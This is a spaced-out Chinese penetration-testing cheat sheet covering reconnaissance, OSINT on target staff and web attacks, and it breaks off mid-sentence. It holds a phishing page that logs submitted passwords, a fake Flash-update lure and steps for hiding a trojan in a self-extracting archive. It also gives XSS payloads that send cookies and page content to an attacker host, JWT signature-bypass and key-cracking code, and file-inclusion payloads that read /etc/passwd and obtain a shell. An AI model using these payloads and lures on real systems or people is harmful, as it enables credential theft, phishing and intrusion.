搜索

[21282] 2020-10-11_【干货】渗透测试常规操作记录（一）

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2020-10-11_【干货】渗透测试常规操作记录（一） 【 干 货 】 渗 透 测 试 常 规 操 作 记 录 （ 一 ） 转 载 于 安 全 先 师   L e m o n S e c   2 0 2 0 - 1 0 - 1 1 常 规 操 作 内 容 较 多 ， 将 分 ： 一 、 二 、 三 、 四 。 。 。 常 规 操 作 内 容 较 多 ， 将 分 ： 一 、 二 、 三 、 四 。 。 。 进 行 分 享 。 进 行 分 享 。 信 息 收 集 信 息 收 集 W h o i s 网 站 网 站 I P 是 否 存 在 是 否 存 在 C D N 网 站 架 构 网 站 架 构 / 服 务 器 指 纹 服 务 器 指 纹 / C M S 识 别 识 别 / 容 器 容 器 站 点 注 册 人 注 册 过 的 其 他 网 站 ( 对 注 册 人 、 邮 箱 、 电 话 的 反 查 ) ， 对 查 到 的 站 点 的 深 入 P i n g 、 多 地 p i n g 、 国 外 p i n g B y p a s s   c d n 常 规 方 式 常 规 方 式 子 域 名 子 域 名 h t t p s : / / d n s d b . i o / z h - c n / P i n g 根 域 名 N s l o o k u p C l o u d f l a r e 的 真 实 I P 寻 找     h t t p : / / c r i m e f l a r e . o r g : 8 2 / c f s . h t m l     h t t p s : / / g i t h u b . c o m / g w e n 0 0 1 / p e n t e s t - t o o l s / b l o b / m a s t e r / c l o u d f l a r e - o r i g i n - i p . p y 查 找 老 域 名 查 找 关 联 域 名     w w w . b a i d u . c o m     w w w . b a i d u . c n     w w w . b a i d u . o r g     w w w . b a i d u . x y z 等 等 信 息 泄 露 / 配 置 文 件 P h p i n f o 网 页 源 码 S v n G i t h u b S h o d a n / f o f a / z o o m e y e S S L 证 书 记 录 h t t p s : / / c e n s y s . i o / 网 站 漏 洞     X s s     S s r f     命 令 执 行     S Q L 注 入 ( 某 种 情 况 l o a d f i l e 读 取 l i n u x 的 i p 配 置 文 件 ， h o s t s 文 件 等 ) D N S 记 录 ， 证 书 记 录 设 置 x f f / x - r e m o t e - i p / x - r e m o t e - a d d r 为 1 2 7 . 0 . 0 . 1 / 或 i p v 6 地 址 R S S 订 阅 / 邮 件 头 A P P 反 编 译 搜 索 / 截 取 A P P 的 请 求 信 息 修 改 h o s t s 文 件 指 向 域 名 历 史 域 名 历 史 I P h t t p s : / / x . t h r e a t b o o k . c n / W h a t w e b 网 页 源 代 码 请 求 头 / 响 应 头 网 站 底 部 ， 顶 部 ， 左 上 角 右 上 角 网 站 报 错 信 息 h t t p : / / w w w . y u n s e e . c n / 域 名 / i n s t a l l F i r e f o x 插 件 W a p p a l y z e r C M S 漏 洞     定 位 版 本 对 应 已 知 漏 洞 检 查     C M S 未 知 漏 洞 挖 掘 W e b 容 器 已 知 漏 洞 ( 解 析 漏 洞 这 种 ) 显 示 网 站 使 用 的 技 术     h t t p s : / / b u i l t w i t h . c o m / 中 间 件 、 组 件 W e b l o g i c 、 t o m c a t 、 z a b b i x 、 s t r u t s 、 a x i s 等
子 域 名 子 域 名 网 站 使 用 的 网 站 使 用 的 C M S 的 官 方 的 官 方 d e m o 站 站 找 不 到 d e m o 就 找 源 码 开 发 者 ， 加 群 什 么 的 ， 结 合 社 会 工 程 学 要 个 后 台 截 图 ( 对 于 一 些 后 台 目 录 复 杂 的 c m s ) ， 注 意 看 网 站 上 一 些 功 能 介 绍 的 截 图 。 S S L 证 书 信 息 证 书 信 息 D N S 历 史 解 析 记 录 历 史 解 析 记 录 同 服 站 点 情 况 同 服 站 点 情 况 同 样 架 构 或 源 码 的 站 同 样 架 构 或 源 码 的 站 网 站 网 站 j s 网 站 使 用 的 第 三 方 网 站 使 用 的 第 三 方 j s 云 信 息 A P P 反 编 译 h t t p s : / / g i t h u b . c o m / F o r t y N o r t h S e c u r i t y / E y e W i t n e s s 老 站 、 同 样 架 构 或 同 源 码 的 子 站 爆 破 ， 接 口 查 询     h t t p s : / / p h p i n f o . m e / d o m a i n /     h t t p s : / / d . c h i n a c y c c . c o m / i n d e x . p h p ? m = L o g i n & a = i n d e x     s u b D o m a i n B r u t e 、 k n o c k p y O W A 发 现 、 d i g   a d f s 、 d i g   m a i l h t t p s : / / d n s . b u f f e r o v e r . r u n / d n s ? q = b a i d u . c o m h t t p : / / a p i . h a c k e r t a r g e t . c o m / r e v e r s e d n s / ? q = t a r g e t . c o m h t t p s : / / c r t . s h / ? q = % 2 5 . t a r g e t . c o m h t t p s : / / c e n s y s . i o / c e r t i f i c a t e s ? q = t a r g e t . c o m h t t p s : / / g i t h u b . c o m / c h e e t z / s s l S c r a p e h t t p s : / / d n s d u m p s t e r . c o m / h t t p s : / / c e n s y s . i o / h t t p s : / / s e c u r i t y t r a i l s . c o m / 域 传 送 漏 洞 检 查     D n s e n u m 、 f i e r c e h t t p : / / h a . c k e r s . o r g / f i e r c e / $   . / f i e r c e . p l   - d n s   e x a m p l e . c o m $   . / f i e r c e . p l   – d n s   e x a m p l e . c o m   – w o r d l i s t   m y W o r d L i s t . t x t > d i g   @ n s . e x a m p l e . c o m   e x a m p l e = . c o m   A X F R > n s l o o k u p   - t y p e = n s   x x x . y y y . c n   # 查 询 解 析 某 域 名 的 D N S 服 务 器 > n s l o o k u p   # 进 入 n s l o o k u p 交 互 模 式 > s e r v e r   d n s . d o m i a n . c o m   # 指 定 d n s 服 务 器 > l s   x x x . y y y . c n   # 列 出 域 信 息 h t t p s : / / s i t e . i p 1 3 8 . c o m / 火 狐 插 件 f l a g f o x , 配 置 单 击 指 向 b i n g 查 i p 对 应 的 域 名 h t t p s : / / g i t h u b . c o m / 0 0 3 r a n d o m / g e t J S h t t p s : / / g i t h u b . c o m / T h r e e z h 1 / J S F i n d e r 或 浏 览 器 F 1 2 也 可 以 看 到 加 载 的 敏 感 信 息 、 可 能 存 在 漏 洞 的 参 数 等 信 息 查 看 网 页 源 代 码 ， 注 释 的 一 些 信 息 ， 比 如 没 有 删 掉 的 接 口 、 前 台 没 有 的 页 面 、 越 权 、 注 入 、 j s 等 A l i y u n 、 A W S 、 G C P 、 A z u r e 等 查 找 可 公 开 访 问 的 实 例     h t t p s : / / g i t h u b . c o m / g w e n 0 0 1 / s 3 - b u c k e t s - f i n d e r     h t t p s : / / g i t h u b . c o m / n c c g r o u p / a w s - i n v e n t o r y     h t t p s : / / g i t h u b . c o m / j o r d a n p o t t i / A W S B u c k e t D u m p u r l 、 j s 、 o s s k e y 、 a p i 等 信 息 查 找 搜 集 到 接 口 该 怎 么 做     F u z z 常 见 参 数
C 段 段 / B 段 信 息 段 信 息 工 具 工 具 端 口 对 外 开 放 情 况 端 口 对 外 开 放 情 况 目 录 扫 描 目 录 扫 描 / 爬 虫 爬 虫 ( 慎 用 慎 用 ) W A F 情 况 识 别 情 况 识 别 随 手 测 试 随 手 测 试 搜 索 引 擎 搜 索 引 擎 S h o d a n / f o f a / z o o m e y e G o o g l e   d o r k s 信 息 泄 露 信 息 泄 露 网 页 缓 存 网 页 缓 存 B a n n e r 、 是 否 存 在 目 标 的 后 台 或 其 他 入 口 / 其 他 业 务 系 统 r e c o n - n g , t h e h a r v e s t e r , m a l t e g o , e x i f t o o l 等 h t t p s : / / w w w . s p i d e r f o o t . n e t / h t t p s : / / g i t h u b . c o m / s m i c a l l e f / s p i d e r f o o t M a s s c a n 、 s c a n p o r t 等 针 对 常 见 的 那 些 端 口 的 利 用 的 常 规 方 法 常 见 的 未 授 权 访 问 的 服 务 如 r e d i s ， m o n g o d b 等 h t t p s : / / g i t h u b . c o m / E n a b l e S e c u r i t y / w a f w 0 0 f 做 好 绕 过 策 略 的 计 划 单 引 号 x x . j p g / . p h p a d m i n / 1 2 3 4 5 6 万 能 密 码 H e a r t b l e e d 漏 洞 G o o g l e 自 定 义 搜 索 引 擎 整 合 的 3 0 0 多 个 社 交 网 站 h t t p s : / / c s e . g o o g l e . c o m / c s e ? k e y = A I z a S y B 2 l w Q u N z U s R T H - 4 9 F A 7 o d 4 d B _ X v u 5 D C v g & c x = 0 0 1 7 9 4 4 9 6 5 3 1 9 4 4 8 8 8 6 6 6 : i y x g e r - c w u g & q = % 2 2 % 2 2 G o o g l e 自 定 义 搜 索 引 擎 整 合 的 文 件 共 享 网 站 h t t p s : / / c s e . g o o g l e . c o m / c s e / p u b l i c u r l ? k e y = A I z a S y B 2 l w Q u N z U s R T H - 4 9 F A 7 o d 4 d B _ X v u 5 D C v g & c x = 0 0 1 7 9 4 4 9 6 5 3 1 9 4 4 8 8 8 6 6 6 : h n 5 b c r s z f h e & q = % 2 2 % 2 2 领 英 用 户 提 取     h t t p s : / / c s e . g o o g l e . c o m / c s e ? c x = 0 0 1 3 9 4 5 3 3 9 1 1 0 8 2 0 3 3 6 1 6 : t m 5 y 1 w q w m m e   S i t e , f i l e t y p e , i n t i t l e , i n u r l , i n t e x t 等 电 话 、 邮 箱 ， 姓 名 目 录 遍 历 备 份 文 件     ( w w w . z i p , x x . c o m . z i p , w w w . x x . c o m . z i p , w w w r o o t . z i p ) . s v n / . g i t / s q l / r o b o t s / c r o s s d o m i n . x m l / D S _ S t o r e 等     h t t p s : / / g i t h u b . c o m / l i j i e j i e / d s _ s t o r e _ e x p     h t t p s : / / g i t h u b . c o m / a d m i n t o n y / s v n E x p l o i t 若 是 论 坛 I D = 1 的 用 户 名 一 般 为 管 理 、 或 查 看 帖 子 信 息 、 生 成 字 典 网 页 上 客 服 的 Q Q ( 先 判 断 是 企 业 的 还 是 个 人 ， 用 处 有 时 不 太 大 ， 看 怎 么 用 ， 搞 个 鱼 叉 什 么 的 ) h t t p : / / w w w . c a c h e d p a g e s . c o m /
图 片 反 查 图 片 反 查 社 交 社 交 手 机 号 加 入 通 讯 录 匹 配 各 个 手 机 号 加 入 通 讯 录 匹 配 各 个 A P P 用 户 信 息 用 户 信 息 注 册 过 的 网 站 注 册 过 的 网 站 目 标 人 员 的 兴 趣 目 标 人 员 的 兴 趣 邮 箱 搜 集 E x c h a n g e 验 证 邮 箱 是 否 存 在 验 证 邮 箱 是 否 存 在 历 史 泄 露 过 的 资 料 等 历 史 泄 露 过 的 资 料 等 G i t h u b / G i t e e 等 代 码 托 管 平 台 等 代 码 托 管 平 台 被 入 侵 网 址 列 表 被 入 侵 网 址 列 表 G P S 查 询 查 询 百 度 识 图 、 g o o g l e i m a g e 、 t i n e y e 原 图 查 询 坐 标 Q Q 、 w e i b o 、 支 付 宝 、 脉 脉 、 领 英 、 咸 鱼 、 短 视 频 、 人 人 、 贴 吧 、 论 坛 外 网 信 息 有 些 人 喜 欢 把 自 己 的 生 活 传 到 外 网 推 特 、 i n s 、 f b 等 h t t p s : / / w w w . r e g 0 0 7 . c o m / h t t p s : / / w w w . u s e r s e a r c h . o r g / 目 标 人 员 的 兴 趣   注 册 过 的 小 众 论 坛 ， 站 点 针 对 此 类 站 点 的 深 入 收 集 到 的 用 户 名 ， 电 话 等 信 息 生 成 字 典 h t t p s : / / h u n t e r . i o / h t t p s : / / g i t h u b . c o m / k i l l s w i t c h - G U I / S i m p l y E m a i l h t t p s : / / g i t h u b . c o m / d a f t h a c k / M a i l S n i p e r h t t p s : / / t o o l s . v e r i f y e m a i l a d d r e s s . i o / 库 h t t p s : / / h a v e i b e e n p w n e d . c o m / h t t p s : / / g i t h u b . c o m / k e r n e l m a c h i n e / h a v e i b e e n p w n e d h t t p s : / / g i t h u b . c o m / d x a 4 4 8 1 / t r u f f l e H o g h t t p s : / / g i t h u b . c o m / l i j i e j i e / G i t H a c k h t t p s : / / g i t h u b . c o m / M i S e c u r i t y / x - p a t r o l h t t p s : / / g i t h u b . c o m / a z 0 n e / G i t h u b _ N u g g e s t s h t t p s : / / g i t h u b . c o m / m a z e n 1 6 0 / G i t h u b C l o n e r 克 隆 用 户 的 g i t h u b h t t p : / / z o n e - h . o r g / a r c h i v e w o o y u n 镜 像 查 找 目 标 企 业 曾 出 现 的 漏 洞 h t t p s : / / w w w . o p e n g p s . c n / D e f a u l t . a s p x
网 站 网 站 U R L 提 取 提 取 蜜 罐 判 断 蜜 罐 判 断 ( 参 考 一 下 即 可 参 考 一 下 即 可 ) 默 认 密 码 默 认 密 码 企 业 信 息 企 业 信 息 入 口 点 入 口 点 w i n 1 0   安 装 k a l i ( w s l ) 水 坑 攻 击 水 坑 攻 击 X S S 克 隆 钓 鱼 克 隆 钓 鱼 h t t p : / / w w w . b u l k d a c h e c k e r . c o m / u r l - e x t r a c t o r / h t t p s : / / h o n e y s c o r e . s h o d a n . i o / h t t p s : / / d e f a u l t - p a s s w o r d . i n f o / h t t p : / / r o u t e r p a s s w o r d s . c o m 如 需 注 册 如 需 注 册 S m s h t t p s : / / w w w . m a t e r i a l t o o l s . c o m / h t t p : / / r e c e i v e f r e e s m s . c o m / E m a i l h t t p s : / / 1 0 m i n u t e m a i l . n e t / h t t p s : / / z h . m y t r a s h m a i l e r . c o m / h t t p : / / 2 4 m a i l . c h a c u o . n e t / e n u s h t t p s : / / w w w . l i n s h i y o u x i a n g . n e t / F a k e   i d h t t p s : / / w w w . f a k e n a m e g e n e r a t o r . c o m / h t t p : / / w w w . h a o w e i c h i . c o m / h t t p s : / / w w w . f a k e a d d r e s s g e n e r a t o r . c o m / 天 眼 查 、 企 查 查 、 企 业 信 用 信 息 公 示 系 统 企 业 邮 箱 收 集 ， 企 业 架 构 画 像 、 人 员 统 计 、 人 员 职 责 、 部 门 、 W i F i 、 常 用 部 门 密 码 、 人 员 是 否 泄 露 过 密 码 、 人 员 平 时 爱 逛 的 站 点 、 O A / e r p / c r m / s s o / m a i l / v p n 等 入 口 、 网 络 安 全 设 备 （ w a f , i p s , i d s , r o u t e r 等 统 计 ） 、 内 部 使 用 的 代 码 托 管 平 台 ( g i t l a b 、 d a o c l o u d 等 ) ， b u g 管 理 平 台 、 服 务 器 域 名 资 产 统 计 M i c r o s o f t   S t o r e 查 找 k a l i 下 载 。 P o w e r s h e l l 执 行 > E n a b l e - W i n d o w s O p t i o n a l F e a t u r e   - O n l i n e   - F e a t u r e N a m e   M i c r o s o f t - W i n d o w s - S u b s y s t e m - L i n u x 源 设 置 v i m   / e t c / a p t / s o u r c e . l i s t d e b   h t t p : / / m i r r o r s . t u n a . t s i n g h u a . e d u . c n / k a l i   k a l i - r o l l i n g   m a i n   c o n t r i b   n o n - f r e e d e b - s r c   h t t p s : / / m i r r o r s . t u n a . t s i n g h u a . e d u . c n / k a l i   k a l i - r o l l i n g   m a i n   c o n t r i b   n o n - f r e e d e b   h t t p : / / m i r r o r s . z j u . e d u . c n / k a l i   k a l i - r o l l i n g   m a i n   c o n t r i b   n o n - f r e e d e b - s r c   h t t p : / / m i r r o r s . z j u . e d u . c n / k a l i   k a l i - r o l l i n g   m a i n   c o n t r i b   n o n - f r e e > s u d o   s u > p a s s w d   r o o t 修 改 r o o t 密 码 > a p t - g e t   u p d a t e   & a p t - g e t   u p g r a d e   更 新 > a p t - g e t   d i s t - u p g r a d e > a p t - g e t   c l e a n c m d > k a l i   c o n f i g   - - d e f a u l t - u s e r   r o o t   设 置 默 认 启 动 用 户 为 r o o t c m d > n e t   s t o p / s t a r t   L x s s M a n a g e r 重 启 服 务 > a p t - g e t   i n s t a l l   m e t a s p l o i t - f r a m e w o r k > a p t   i n s t a l l   k a l i - l i n u x - f u l l   安 装 完 整 k a l i 工 具 集 保 存 j s & c s s 到 服 务 器 ， 登 录 a c t i o n 改 为 接 受 密 码 的 文 件 a c t i o n = " . / p a s s . p h p " < ? p h p   / / p h p     $ u s e r = $ _ P O S T [ ' u s e r n a m e ' ] ;     $ p a s s = $ _ P O S T [ ' p a s s w o r d ' ] ;     $ f i l e = f o p e n ( ' p a s s . t x t ' , ' a + ' ) ;     f w r i t e ( $ f i l e , $ u s e r . " | " . " p a s s "   .   " n " ) ;     f c l o s e ( $ f i l e ) ;     e c h o   " < s c r i p t > w i n d o w . l o c a t i o n . h r e f = " h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 " < / s c r i p t > n " ; ? > 构 造 p a y l o a d < s c r i p t > w i n d o w . l o c a t i o n . h r e f = " h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 / l o g i n . h t m l " < / s c r i p t > p h p   – S   0 . 0 . 0 . 0 : 8 0 8 0   – t   . /
伪 造 页 面 钓 鱼 伪 造 页 面 钓 鱼 1 2 对 外 服 务 攻 击 对 外 服 务 攻 击 W e b 前 端 前 端 / 逻 辑 漏 洞 逻 辑 漏 洞 注 册 注 册 登 录 登 录 任 意 密 码 重 置 任 意 密 码 重 置 信 息 泄 露 信 息 泄 露 后 台 后 台 h t t p s : / / g i t h u b . c o m / r 0 0 t S e 7 e n / F a k e - f l a s h . c n 添 加 x s s 平 台 模 块 w i n d o w . a l e r t   =   f u n c t i o n ( n a m e ) { v a r   i f r a m e   =   d o c u m e n t . c r e a t e E l e m e n t ( " I F R A M E " ) ; i f r a m e . s t y l e . d i s p l a y = " n o n e " ; i f r a m e . s e t A t t r i b u t e ( " s r c " , ' d a t a : t e x t / p l a i n ' ) ; d o c u m e n t . d o c u m e n t E l e m e n t . a p p e n d C h i l d ( i f r a m e ) ; w i n d o w . f r a m e s [ 0 ] . w i n d o w . a l e r t ( n a m e ) ; i f r a m e . p a r e n t N o d e . r e m o v e C h i l d ( i f r a m e ) ; } a l e r t ( " 您 的 F L A S H 版 本 过 低 ， 尝 试 升 级 后 访 问 该 页 面 ！ " ) ; w i n d o w . l o c a t i o n . h r e f = " h t t p : / / w w w . f l a s h . c o m " ; 制 作 自 解 压 捆 绑 一 个 马 . e x e ， 一 个 正 常 e x e ， 全 选 ， w i n r a r 添 加 到 压 缩 文 件 ， 选 择 创 建 自 解 压 格 式 压 缩 文 件 ， 高 级 - > 自 解 压 选 项 ， 设 置 解 压 路 径 ， c : w i n d o w s t e m p ， 设 置 - > 解 压 后 运 行 两 个 e x e 文 件 ， 模 式 全 部 隐 藏 ， 更 新 ， 解 压 并 更 新 文 件 ， 覆 盖 所 有 文 件 。 R e s o u r c e H a c k e r 修 改 文 件 图 标   i f ( e m p t y ( $ _ C O O K I E [ ' f l a s h ' ] ) ) {             e c h o   ' < s c r i p t > a l e r t ( " 你 当 前 计 算 机 的 F l a s h 软 件 已 经 很 久 未 更 新 ， 将 导 致 无 法 正 常 显 示 界 面 内 容 ， 请 下 载 安 装 最 新 版 本 ！ " ) ; w i n d o w . l o c a t i o n = " h t t p : / / w w w . f l a s h . c n . x x . c o m / " < / s c r i p t > ' ;             s e t c o o k i e ( " f l a s h " , " t r u e " , t i m e ( ) + 3 0 * 2 4 0 0 ) ;     } 任 意 用 户 注 册 可 爆 破 用 户 名 注 入 X S S 爆 破 用 户 名 ， 密 码 注 入 万 能 密 码 X s s X s s + C s r f 修 改 返 回 包 信 息 ， 登 入 他 人 账 户 修 改 c o o k i e 中 的 参 数 ， 如 u s e r , a d m i n i d 等 1 ． 重 置 一 个 账 户 ， 不 发 送 验 证 码 ， 设 置 验 证 码 为 空 发 送 请 求 。 2 ． 发 送 验 证 码 ， 查 看 相 应 包 3 ． 验 证 码 生 存 期 的 爆 破 4 ． 修 改 相 应 包 为 成 功 的 相 应 包 5 ． 手 工 直 接 跳 转 到 校 验 成 功 的 界 面 6 ． 两 个 账 户 ， 重 置 别 人 密 码 时 ， 替 换 验 证 码 为 自 己 正 确 的 验 证 码 7 ． 重 置 别 人 密 码 时 ， 替 换 为 自 己 的 手 机 号 8 ． 重 置 自 己 的 成 功 时 ， 同 意 浏 览 器 重 置 别 人 的 ， 不 发 验 证 码 9 ． 替 换 用 户 名 ， I D ， c o o k i e ， t o k e n 参 数 等 验 证 身 份 的 参 数 1 0 ． 通 过 越 权 修 改 他 人 的 找 回 信 息 如 手 机 / 邮 箱 来 重 置 H T M L 源 码 、 J S 等 查 看 信 息 搜 集 一 章
J W T 攻 击 手 法 攻 击 手 法 未 校 验 签 名 未 校 验 签 名 禁 用 哈 希 禁 用 哈 希 暴 破 弱 密 钥 暴 破 弱 密 钥 X S S 登 录 参 数 修 改 为 注 册 参 数 / r e g 、 / r e g i s t e r 、 / s i g n 等 h t t p s : / / j w t . i o / # d e b u g g e r - i o 将 原 J W T 串 解 码 后 修 改 用 户 名 等 身 份 认 证 的 地 方 ， 生 成 新 t o k e n 发 送 请 求 A l g 代 表 加 密 方 式 ， 修 改 用 户 名 等 身 份 认 证 的 地 方 ， 把 H S 2 5 6 设 置 为 n o n e 生 成 t o k e n 发 送 请 求 ， 使 用 p y t h o n 的 p y j w t 模 块 j w t . e n c o d e ( { ' u s e r ' : ' a d m i n ' , ' a r g 1 ' : ' v a l u e 1 ' , ' a r g 2 ' : ' v a l u e 2 ' } , a l g o r i t h m = ' n o n e ' , k e y = ' ' ) > p i p 3   i n s t a l l   p y j w t > p y t h o n 3   c r a c k . p y i m p o r t   j w t i m p o r t   t e r m c o l o r j w t _ s t r   =   R ' t o k e n ' w i t h   o p e n ( ' / r o o t / p a s s w o r d . t x t ' )   a s   f :     f o r   l i n e   i n   f :     k e y _   =   l i n e . s t r i p ( )     t r y :         j w t . d e c o d e ( j w t _ s t r , v e r i f y = T r u e , k e y = k e y _ )         p r i n t ( ' r ' , ' b f o u n d   k e y   - - > ' , t e r m c o l o r . c o l o r e d ( k e y _ , ' g r e e n ' ) , ' < - - ' )         b r e a k     e x c e p t ( j w t . e x c e p t i o n s . E x p i r e d S i g n a t u r e E r r o r , j w t . e x c e p t i o n s . I n v a l i d A u d i e n c e E r r o r , j w t . e x c e p t i o n s . I n v a l i d I s s u e d A t E r r o r , j w t . e x c e p t i o n s . I n v a l i d I s s u e d A t E r r o r , j w t . e x c e p t i o n s . I m m a t u r e S i g n a t u r e E r r o r ) :         p r i n t ( ' r ' , ' b f o u n d   k e y   - - > ' , t e r m c o l o r . c o l o r e d ( k e y _ , ' g r e e n ' ) , ' < - - ' )     e x c e p t   j w t . e x c e p t i o n s . I n v a l i d S i g n a t u r e E r r o r :         p r i n t ( ' r ' , '   '   *   6 4 ,   ' r b t r y ' , k e y _ , e n d = ' ' , f l u s h = T r u e )         c o n t i n u e e l s e :     p r i n t ( ' r ' , ' b n o t   f o u n d . ' ) 打 C O O K I E < s v g / o n l o a d = " j a v a s c r i p t : d o c u m e n t . l o c a t i o n . h r e f = ( ' h t t p : / / x x . x x . x x . x x : 7 7 7 7 ? c o o k i e = ' + d o c u m e n t . c o o k i e ) " > 读 取 H T M L < s v g / o n l o a d = " d o c u m e n t . l o c a t i o n = ' h t t p : / / x x . x x . x x . x x : 7 7 7 7 / ? ' + b t o a ( d o c u m e n t . b o d y . i n n e r H T M L ) " > 读 文 件 < s v g / o n l o a d = " x m l h t t p = n e w   X M L H t t p R e q u e s t ( ) ; x m l h t t p . o n r e a d y s t a t e c h a n g e = f u n c t i o n ( ) {     i f   ( x m l h t t p . r e a d y S t a t e = = 4   & &   x m l h t t p . s t a t u s = = 2 0 0 )     {         d o c u m e n t . l o c a t i o n = ' h t t p : / / x x . x x . x x . x x : 7 7 7 7 / ? ' + b t o a ( x m l h t t p . r e s p o n s e T e x t ) ;     } } x m l h t t p . o p e n ( " G E T " , " f i l e . p h p " , t r u e ) ; x m l h t t p . s e n d ( ) ; " > X S S + S S R F 读 取 服 务 器 文 件 < s v g / o n l o a d = " x m l h t t p = n e w   X M L H t t p R e q u e s t ( ) ;
C S R F p h p 任 意 文 件 读 取 / 下 载 p h p 文 件 包 含 文 件 包 含 常 用 协 议 常 用 协 议 G e t s h e l l a l l o w _ u r l _ i n c l u d e   开 启 时 开 启 时 G e t s h e l l x m l h t t p . o n r e a d y s t a t e c h a n g e = f u n c t i o n ( ) { i f   ( x m l h t t p . r e a d y S t a t e = = 4   & &   x m l h t t p . s t a t u s = = 2 0 0 ) {         d o c u m e n t . l o c a t i o n = ' h t t p : / / v p s _ i p : 2 3 3 3 3 / ? ' + b t o a ( x m l h t t p . r e s p o n s e T e x t ) ; } } x m l h t t p . o p e n ( " P O S T " , " r e q u e s t . p h p " , t r u e ) ; x m l h t t p . s e t R e q u e s t H e a d e r ( " C o n t e n t - t y p e " , " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d " ) ; x m l h t t p . s e n d ( " u r l = f i l e : / / / e t c / p a s s w d " ) ; " > 查 看 有 无 t o k e n 等 验 证 身 份 的 参 数 ， 删 掉 后 是 否 返 回 正 常 查 看 h e a d e r 中 r e f e r e r , o r i g i n 参 数 ， 删 掉 后 是 否 返 回 正 常 使 用 c s r f t e s t e r / b u r p s u i t e 生 成 表 单 ， 以 另 一 账 号 和 浏 览 器 打 开 测 试 去 掉 r e f e r e r 中 域 名 后 面 的 文 件 夹 或 文 件 替 换 二 级 域 名 r e a d f i l e ( ) 、 f i l e _ g e t _ c o n t e n t s ( ) 、 f o p e n ( ) 等 读 文 件 的 函 数 不 严 谨 ， 读 取 文 件 路 径 可 控 ， 输 出 内 容 。 下 载 配 置 文 件 R e d i s 、 W e b l o g i c 、 f t p 、 m y s q l 、 w e b 配 置 文 件 、 h i s t o r y 文 件 、 数 据 库 配 置 文 件 下 载 l o g 文 件 下 载 w e b 文 件 / 1 . p h p ? f = . . / . . / e t c / p a s s w d / 1 . p h p ? f = f i l e : / / / e t c / p a s s w d ( f i l e : / / 绕 过 . . / 的 防 护 ) / 1 . p h p ? f = f i l e : / / / e t c / p a s s w d 函 数 : i n c l u d e r e q u i r e i n c l u d e _ o n c e r e q u i r e _ o n c e f i l e : / /   —   访 问 本 地 文 件 系 统 f i l e 协 议 的 工 作 目 录 是 当 前 目 录 ， 使 用 f i l e : / / / w w w r o o t / 1 . p h p 等 同 于 . / w w w r o o t / 1 . p h p 可 用 于 绕 过 一 些 情 况 p h p : / /   —   访 问 各 个 输 入 / 输 出 流 （ I / O   s t r e a m s ） 读 取 1 . p h p ? f i l e = p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = . / 1 . p h p 写 入 1 . p h p ? f i l e = p h p : / / f i l t e r / w r i t e = c o n v e r t . b a s e 6 4 - d e c o d e / r e s o u r c e = [ f i l e ] " , " b a s e 6 4 h t t p s : / / g i t h u b . c o m / D 3 5 m 0 n d 1 4 2 / L F I S u i t e 远 程 文 件 包 含 / 1 . p h p ? f i l e = h t t p : / / r e m o t e . c o m / s h e l l . t x t / 1 . p h p ? f i l e = p h p : / / i n p u t     P O S T : < ? p h p   p h p i n f o ( ) ; ? > 或 使 用 c u r l
a l l o w _ u r l _ i n c l u d e   关 闭 时 关 闭 时 G e t s h e l l 包 含 日 志 文 件 包 含 日 志 文 件 g e t s h e l l 上 传 个 图 片 格 式 的 木 马 直 接 包 含 上 传 个 图 片 格 式 的 木 马 直 接 包 含 限 制 后 缀 时 限 制 后 缀 时 p h p i n f o - L F I   本 地 文 件 包 含 临 时 文 件 本 地 文 件 包 含 临 时 文 件 g e t s h e l l 或 使 用 c u r l > c u r l   - v   " h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 8 8 8 / c t f / c l i / 3 . p h p ? f i l e = p h p : / / i n p u t "   - d   " < ? p h p   p h p i n f o ( ) ; ? > " 或 使 用 d a t a : / / 协 议 解 析 b a s e 6 4 的 代 码 / 1 . p h p ? f i l e = d a t a : / / t e x t / p l a i n ; b a s e 6 4 , P D 9 w a H A g I H B o c G l u Z m 8 o K T s / P g = = 攻 击 机 开 启 共 享 / 1 . p h p ? f i l e = / / a t t a c k e r / 1 . p h p 创 建 w e b d a v 服 务 ， s h e l l 文 件 放 入 目 录 包 含 即 可 > d o c k e r   r u n   - v   / r o o t / w e b d a v : / v a r / l i b / d a v   - e   A N O N Y M O U S _ M E T H O D S = G E T , O P T I O N S , P R O P F I N D   - e   L O C A T I O N = / w e b d a v   - p   8 0 : 8 0   - - r m   - - n a m e   w e b d a v   b y t e m a r k / w e b d a v S h e l l 文 件 放 入 / r o o t / w e b d a v / d a t a / 1 . p h p ? f i l e = / / a t t a c k e r / 1 . p h p F u z z 文 件 h t t p s : / / g i t h u b . c o m / f u z z d b - p r o j e c t / f u z z d b h t t p s : / / g i t h u b . c o m / d a n i e l m i e s s l e r / S e c L i s t s h t t p s : / / b l o g . c s d n . n e t / q q _ 3 3 0 2 0 9 0 1 / a r t i c l e / d e t a i l s / 7 8 8 1 0 0 3 5 / 1 . p h p ? f i l e = < ? p h p   p h p i n f o ( ) ; ? > / 1 . p h p ? f i l e = . . / . . / . . / . . / . . / . . / . . / v a r / l o g / a p a c h e 2 / a c c e s s . l o g W i n 下 使 用 p h p s t u d y 请 求 / < ? p h p   p h p i n f o ( ) ; ? > 包 含 错 误 日 志 / 1 . p h p ? f i l e = C : p h p S t u d y A p a c h e l o g s e r r o r . l o g / 1 . p h p ? f i l e = / u p l o a d f i l e / 1 . j p g < ? p h p $ f i l e   =   $ _ G E T [ ' f i l e ' ] . " . p h p " ; i n c l u d e ( $ f i l e ) ; ? > < b r > 利 用 伪 协 议 z i p ， 构 造 一 个 z i p 压 缩 包 ， 打 包 一 个 s h e l l . p h p ， 将 压 缩 包 更 名 为 p n g 请 求 / 1 . p h p ? f i l e = z i p : / / s h e l l . p n g % 2 3 s h e l l 也 可 使 用 p h a r 协 议 访 问 / 1 . p h p ? f i l e = p h a r : / / s h e l l . p n g / s h e l l 老 版 本 可 以 使 用 % 0 0 截 断 / e t c / p a s s w d % 0 0 ( 需 要   m a g i c _ q u o t e s _ g p c = o f f ， P H P 小 于 5 . 3 . 4 有 效 ) / v a r / w w w / % 0 0 / e t c / p a s s w d / . / . / . / . / . / . / . [ … ] / . / . / . / . / . / . ( 需 要   m a g i c _ q u o t e s _ g p c = o f f ( p h p 版 本 小 于 5 . 2 . 8 ( ? ) 可 以 成 功 ， l i n u x 需 要 文 件 名 长 于 4 0 9 